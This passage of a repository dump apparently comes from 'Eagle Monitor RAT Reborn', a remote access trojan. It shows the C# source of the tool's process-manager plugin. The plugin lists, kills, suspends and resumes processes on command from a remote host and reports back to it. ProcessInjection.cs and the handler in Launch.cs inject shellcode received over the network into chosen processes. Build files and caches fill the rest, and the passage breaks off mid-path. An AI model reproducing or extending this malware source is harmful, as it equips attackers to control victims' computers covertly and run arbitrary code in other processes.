name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/GetProcesses.cs",
    "content": "﻿using PacketLib.Packet;\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Drawing;\nusing System.Drawing.Imaging;\nusing System.IO;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class GetProcesses\n    {\n        [StructLayout(LayoutKind.Sequential)]\n        public struct SYSTEM_INFO\n        {\n            public ushort wProcessorArchitecture;\n            public ushort wReserved;\n            public uint dwPageSize;\n            public IntPtr lpMinimumApplicationAddress;\n            public IntPtr lpMaximumApplicationAddress;\n            public UIntPtr dwActiveProcessorMask;\n            public uint dwNumberOfProcessors;\n            public uint dwProcessorType;\n            public uint dwAllocationGranularity;\n            public ushort wProcessorLevel;\n            public ushort wProcessorRevision;\n        };\n\n        [DllImport(\"kernel32.dll\")]\n        public static extern void GetNativeSystemInfo(ref SYSTEM_INFO lpSystemInfo);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true, CallingConvention = CallingConvention.Winapi)]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        public static extern bool IsWow64Process([In] IntPtr hProcess, [Out] out bool wow64Process);\n\n        public const ushort PROCESSOR_ARCHITECTURE_INTEL = 0;\n        public const ushort PROCESSOR_ARCHITECTURE_IA64 = 6;\n        public const ushort PROCESSOR_ARCHITECTURE_AMD64 = 9;\n        public const ushort PROCESSOR_ARCHITECTURE_UNKNOWN = 0xFFFF;\n\n        private static bool InternalCheckIsWow64(IntPtr Handle)\n        {\n            if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) ||\n                Environment.OSVersion.Version.Major >= 6)\n            {\n                bool retVal;\n                if (!IsWow64Process(Handle, out retVal))\n                {\n                    return false;\n                }\n                return retVal;\n            }\n            else\n            {\n                return false;\n            }\n        }\n\n\n        internal static string CheckIf64Bit(IntPtr Handle)\n        {\n            if (InternalCheckIsWow64(Handle))\n            {\n                return \"32\";//only true if process is 32-bit running on a 64-bit OS.\n            }\n            else\n            {\n                SYSTEM_INFO sys_info = new SYSTEM_INFO();\n              GetNativeSystemInfo(ref sys_info);\n\n                switch (sys_info.wProcessorArchitecture)\n                {\n                    case PROCESSOR_ARCHITECTURE_IA64:\n                        return \"IA64\";\n\n                    case PROCESSOR_ARCHITECTURE_AMD64:\n                        return \"64\";\n\n                    case PROCESSOR_ARCHITECTURE_INTEL:\n                        return \"32\";\n\n                    default:\n                        return \"Unknown\";\n                }\n            }\n        }\n\n        public static List<Proc> GetAllProcesses() \n        {\n            List<Proc> procs = new List<Proc> ();\n            foreach (Process p in Process.GetProcesses()) \n            {\n                Proc proc = new Proc();\n                MemoryStream stream = new MemoryStream();\n                try\n                {\n                    Bitmap bitmap = System.Drawing.Icon.ExtractAssociatedIcon(p.MainModule.FileName).ToBitmap();\n                    bitmap.Save(stream, ImageFormat.Png);\n                    proc.processIcon = stream.ToArray();\n                }\n                catch (Exception)\n                {\n                }\n\n                proc.processId = p.Id;\n                proc.processName = p.ProcessName;\n                if(p.MainWindowTitle == \"\")\n                    proc.processWindowTitle = \"N/A\";\n                else\n                    proc.processWindowTitle = p.MainWindowTitle;\n                proc.processWindowHandle = p.MainWindowHandle.ToString();\n\n                try\n                {\n                    proc.is64Bit = CheckIf64Bit(p.Handle);\n                }\n                catch (Exception)\n                {\n                    proc.is64Bit = \"?\";\n                }\n\n                //yield return proc;\n                procs.Add(proc);\n            }\n            return procs;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class Imports\n    {\n        [DllImport(\"ntdll.dll\", SetLastError = true)]\n        internal static extern uint NtTerminateProcess(IntPtr ProcHandle, int ErrorStatus = 0);\n\n        [DllImport(\"ntdll.dll\", SetLastError = true)]\n        internal extern static uint ZwTerminateProcess(IntPtr ProcHandle, int ErrorStatus = 0);\n\n        [DllImport(\"user32.dll\")]\n        internal extern static bool EndTask(IntPtr hWnd, bool fShutDown, bool fForce);\n\n        [DllImport(\"user32.dll\")]\n        internal extern static IntPtr SendMessage(IntPtr hWnd, WM_Message Msg, SC_Message wParam, IntPtr lParam);\n\n        public enum WM_Message : uint\n        {\n            WM_DESTROY = 0x2,\n            WM_CLOSE = 0x10,\n            WM_SYSCOMMAND = 0x112,\n            WM_SETTEXT = 0x000C,\n            WM_APPCOMMAND = 0x0319\n        }\n        public enum SC_Message : uint\n        {\n            NONE = 0,\n            SC_CLOSE = 0xF060,\n            SC_MAXIMIZE = 0xF030,\n            SC_MINIMIZE = 0xF020,\n            SC_RESTORE = 0xF120\n        }\n\n        [DllImport(\"ntdll.dll\")]\n        public extern static uint NtSuspendProcess(IntPtr ProcHandle);\n        [DllImport(\"ntdll.dll\")]\n        public extern static uint ZwSuspendProcess(IntPtr ProcHandle);\n\n        [DllImport(\"ntdll.dll\")]\n        public extern static uint NtResumeProcess(IntPtr ProcHandle);\n        [DllImport(\"ntdll.dll\")]\n        public extern static uint ZwResumeProcess(IntPtr ProcHandle);\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/KillProcess.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class KillProcess\n    {\n        private const uint NT_SUCCESS = 0x00000000;\n        internal static bool IsKilled(int processId) \n        {\n            uint ntstatus = 0x1;\n\n            try\n            {\n                IntPtr procHandle = Process.GetProcessById(processId).Handle;\n                ntstatus = Imports.ZwTerminateProcess(procHandle);\n            }\n            catch {}\n\n            try\n            {\n                IntPtr procHandle = Process.GetProcessById(processId).Handle;\n                if (ntstatus == NT_SUCCESS)\n                    return true;\n\n                ntstatus = Imports.NtTerminateProcess(procHandle);\n            }\n            catch {}\n\n            try\n            {\n                if (ntstatus == NT_SUCCESS)\n                    return true;\n\n                //An application should return zero if it processes this message. WM_SYSCOMMAND \n\n                IntPtr result = Imports.SendMessage(Process.GetProcessById(processId).MainWindowHandle, Imports.WM_Message.WM_SYSCOMMAND, Imports.SC_Message.SC_CLOSE, IntPtr.Zero);\n\n                if (result == IntPtr.Zero)\n                    return true;\n            }\n\n            catch {}\n\n\n            try\n            {\n                if (Imports.EndTask(Process.GetProcessById(processId).MainWindowHandle, false, true))\n                    return true;\n            }\n            catch {}\n\n\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n\n                case PacketType.PM_GET_PROCESSES:\n                    ProcessManagerPacket processManagerPacket = new ProcessManagerPacket(GetProcesses.GetAllProcesses(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, processManagerPacket);\n                    break;\n\n                case PacketType.PM_KILL_PROCESS:\n                    ProcessKillerPacket processToKill = (ProcessKillerPacket)loadingAPI.CurrentPacket;\n                    ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(KillProcess.IsKilled(processToKill.processId), processToKill.processId, processToKill.processName, processToKill.rowIndex, loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, processKillerPacket);\n                    break;\n\n                case PacketType.PM_SUSPEND_PROCESS:\n                    SuspendProcessPacket processToSuspend = (SuspendProcessPacket)loadingAPI.CurrentPacket;\n                    SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(SuspendProcess.IsSuspended(processToSuspend.processId), processToSuspend.processId, processToSuspend.processName, processToSuspend.rowIndex, loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, suspendProcessPacket);\n                    break;\n\n                case PacketType.PM_RESUME_PROCESS:\n                    ResumeProcessPacket processToResume = (ResumeProcessPacket)loadingAPI.CurrentPacket;\n                    ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(ResumeProcess.IsResumed(processToResume.processId), processToResume.processId, processToResume.processName, processToResume.rowIndex, loadingAPI.BaseIp, loadingAPI.HWID);\n                    ClientSender(loadingAPI.Host, loadingAPI.Key, resumeProcessPacket);\n                    break;\n\n                case PacketType.PM_INJECT_PROCESS:\n                    ProcessInjectionPacket processInjectionPacket = (ProcessInjectionPacket)loadingAPI.CurrentPacket;\n                    if (processInjectionPacket.injectionMethod == ProcessInjectionPacket.INJECTION_METHODS.CLASSIC)\n                    {\n                        ProcessInjection.InjectShellCodeClassicMethod(processInjectionPacket.processId, Compressor.QuickLZ.Decompress(processInjectionPacket.payload));\n                    }\n\n                    if (processInjectionPacket.injectionMethod == ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW)\n                    {\n                        ProcessInjection.InjectShellCodeMapView(processInjectionPacket.processId, Compressor.QuickLZ.Decompress(processInjectionPacket.payload));\n                    }\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n\n        private static void ClientSender(Host host, string key, IPacket packet)\n        {\n            ClientHandler clientHandler = new ClientHandler(host, key);\n            clientHandler.ConnectStart();\n            while (!clientHandler.Connected)\n                Thread.Sleep(125);\n\n            clientHandler.SendPacket(packet);\n        }\n    }\n}"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/ProcessInjection.cs",
    "content": "﻿using System.Diagnostics;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class ProcessInjection\n    {\n\t\tinternal static void InjectShellCodeClassicMethod(int PID, byte[] shellcode)\n\t\t{\n\t\t\tShellCodeLoader.ShellCodeLoaderEx shellCodeLoaderEx = new ShellCodeLoader.ShellCodeLoaderEx(Process.GetProcessById(PID), shellcode);\n\t\t\tshellCodeLoaderEx.LoadWithNT();\n\t\t}\n\n\t\tinternal static void InjectShellCodeMapView(int PID, byte[] shellcode)\n\t\t{\n\t\t\tShellCodeLoader.MapView mapView = new ShellCodeLoader.MapView(Process.GetProcessById(PID), shellcode);\n\t\t\tmapView.LoadWithNtMapView();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/ProcessManager.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>ProcessManager</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"ShellCodeLoader\">\n      <HintPath>..\\..\\Eagle Monitor RAT Reborn\\DLLs\\ShellCodeLoader.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"GetProcesses.cs\" />\n    <Compile Include=\"KillProcess.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"ProcessInjection.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"ResumeProcess.cs\" />\n    <Compile Include=\"SuspendProcess.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Import Project=\"..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets\" Condition=\"Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"ProcessManager\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"ProcessManager\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"d0b4f8e5-b2fe-4546-8468-1af08b82b50c\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/ResumeProcess.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ResumeProcess\n    {\n        private const uint NT_SUCCESS = 0x00000000;\n        internal static bool IsResumed(int processId)\n        {\n            uint ntstatus = 0x1;\n            try\n            {\n                IntPtr procHandle = Process.GetProcessById(processId).Handle;\n                ntstatus = Imports.NtResumeProcess(procHandle);\n\n                if (ntstatus == NT_SUCCESS)\n                    return true;\n            }\n            catch { }\n\n            try\n            {\n                IntPtr procHandle = Process.GetProcessById(processId).Handle;\n                ntstatus = Imports.NtResumeProcess(procHandle);\n\n                if (ntstatus == NT_SUCCESS)\n                    return true;\n            }\n            catch { }\n\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/SuspendProcess.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class SuspendProcess\n    {\n        private const uint NT_SUCCESS = 0x00000000;\n        internal static bool IsSuspended(int processId) \n        {\n            uint ntstatus = 0x1;\n            try\n            {\n                IntPtr procHandle = Process.GetProcessById(processId).Handle;\n                ntstatus = Imports.NtSuspendProcess(procHandle);\n\n                if (ntstatus == NT_SUCCESS)\n                    return true;\n            }\n            catch {}\n\n            try\n            {\n                IntPtr procHandle = Process.GetProcessById(processId).Handle;\n                ntstatus = Imports.ZwSuspendProcess(procHandle);\n\n                if (ntstatus == NT_SUCCESS)\n                    return true;\n            }\n            catch { }\n\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Debug/ProcessManager.csproj.CoreCompileInputs.cache",
    "content": "7674d4b4fda7b8050d274db9364de6074f819366\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Debug/ProcessManager.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\DesyncOps\\bin\\Debug\\Plugins\\ProcessManager.dll\nF:\\Personal\\DesyncOps\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\ProcessManager\\obj\\Debug\\ProcessManager.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\ProcessManager.dll\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\bin\\Debug\\Plugins\\ProcessManager.dll\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\DesyncOps\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\ProcessManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\ProcessManager.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Debug\\ProcessManager.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Debug/ProcessManager.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.CoreCompileInputs.cache",
    "content": "36c7bd23a762e3ab56e52355427ea08784d8ff0a\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.FileListAbsolute.txt",
    "content": "F:\\Personal\\DesyncOps\\bin\\Release\\Plugins\\ProcessManager.dll\nF:\\Personal\\DesyncOps\\ProcessManager\\obj\\Release\\ProcessManager.csproj.AssemblyReference.cache\nF:\\Personal\\DesyncOps\\ProcessManager\\obj\\Release\\ProcessManager.csproj.CoreCompileInputs.cache\nF:\\Personal\\DesyncOps\\ProcessManager\\obj\\Release\\ProcessManager.csproj.Fody.CopyLocal.cache\nF:\\Personal\\DesyncOps\\ProcessManager\\obj\\Release\\ProcessManager.dll\nF:\\Personal\\DesyncOps\\ProcessManager\\obj\\Release\\ProcessManager.csproj.CopyComplete\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\ProcessManager.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\ProcessManager.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ProcessManager.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.Fody.CopyLocal.cache\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ProcessManager.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.Fody.CopyLocal.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ProcessManager.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ProcessManager.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ProcessManager\\obj\\Release\\ProcessManager.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle 